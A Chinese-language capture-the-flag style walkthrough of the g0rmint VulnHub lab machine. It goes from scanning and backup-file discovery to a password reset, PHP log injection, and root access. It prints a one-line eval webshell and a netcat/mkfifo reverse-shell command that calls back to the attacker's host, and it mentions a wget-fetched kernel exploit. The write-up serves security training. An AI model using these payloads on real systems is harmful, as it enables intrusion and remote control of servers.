1. 程式人生 > >kali滲透綜合靶機(十四)--g0rmint靶機

kali滲透綜合靶機(十四)--g0rmint靶機

kali滲透綜合靶機(十四)--g0rmint靶機

靶機下載地址:https://www.vulnhub.com/entry/g0rmint-1,214/

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24

  

二、埠掃描

1. masscan --rate=10000 -p0-65535 192.168.10.173

  

三、埠服務識別

nmap -sV -T4 -O -p 22,80 192.168.10.173

  

四、漏洞查詢與利用

1.dirb目錄掃描

   

2.發現http://192.168.10.173/robots.txt,瀏覽器訪問,發現g0rmint

  

3.瀏覽器訪問http://192.168.10.173/g0rmint

  

4.檢視頁面原始碼,發現備份目錄

  

5.使用dirb 掃描http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/,發現http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php

  

6.訪問http://192.168.10.173/g0rmint/s3cretbackupdirect0ry/info.php

  

7.下載備份檔案

8.檢視網站程式碼,發現使用者名稱、密碼、郵箱,嘗試登入失敗

  

線上解密

  

9.檢視login.php,發現登入失敗的時候會生成一個日誌檔案(呼叫addlog函式)

  

10.檢視addlog函式,發現日誌寫在.php檔案中,嘗試在登入郵箱處插入php語句,從而任意執行程式碼

  

11.在登入郵箱處插入php一句話木馬,點選提交,登入失敗跳轉到登入頁面

最後發現是fwrite($fh, file_get_contents("dummy.php") . "<br>\n");寫入了一個session判斷

所以需要先解決登入的問題。

12.檢視reset.php,可以看到只要知道了一個存在的郵箱和使用者名稱,就可以重置密碼為一個時間值的雜湊,嘗試了demo和一些常用郵箱使用者名稱之後,發現似乎並沒有這個使用者

  

13.在全文搜尋email關鍵字, 可以在一個css檔案中看到使用者的名字和郵箱

  

14.成功重置後,介面右下角也給出了對應的時間,遂能算出相應的雜湊值,使用線上的hash加密,去加密成功後的hash值前20位最為密碼的值

  

15. 用郵箱和算出的雜湊值就能登入到後臺中,然後就能成功的訪問到生成的log檔案

16.在登入的時郵箱處插入一條php語句,寫入webshell,<?php @eval($_POST[cmd]);?>然後訪問對應的日誌,提交post引數即可執行任意php程式碼。

  

17.然後將shell反彈到我的kali中來

在post中輸入:注意需要url編碼

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.168 1234 >/tmp/f;`;

  

18.在Kali開啟監聽,獲得shell

  

19.提權

19.1檢視核心版本

  

19.2kali檢視是否有對應版本的漏洞

  

19.3在kali編譯好指令碼,然後目標用wget下載,執行,獲得管理員許可權

  

提權方式二:

1.在/var/www目錄下又發現網站備份檔案,解壓發現db.sql,

  

2.發現使用者noman以及密碼

  

線上解密

  

3.嘗試用noman使用者登入,失敗,發現/etc/passwd中有g0rmint,嘗試用noman的密碼登入,成功登入進去

  

4.用sudo -l 檢視當前使用者是否屬於sudo組,然後sudo -i 直接獲得管理員許可權

  

 

 

總結:

1、資訊收集、埠掃描、服務識別

2、目錄掃描、發現敏感資訊備份檔案

3、登入密碼的地方暫時突破不了,嘗試在重置密碼的地方尋找突破口、發現有用資訊

4、進行程式碼審計,發現日誌檔案的字尾是php檔案,這時可以嘗試在登入的地方接入一句話,然後就寫入到日誌中。

5、getshell、提權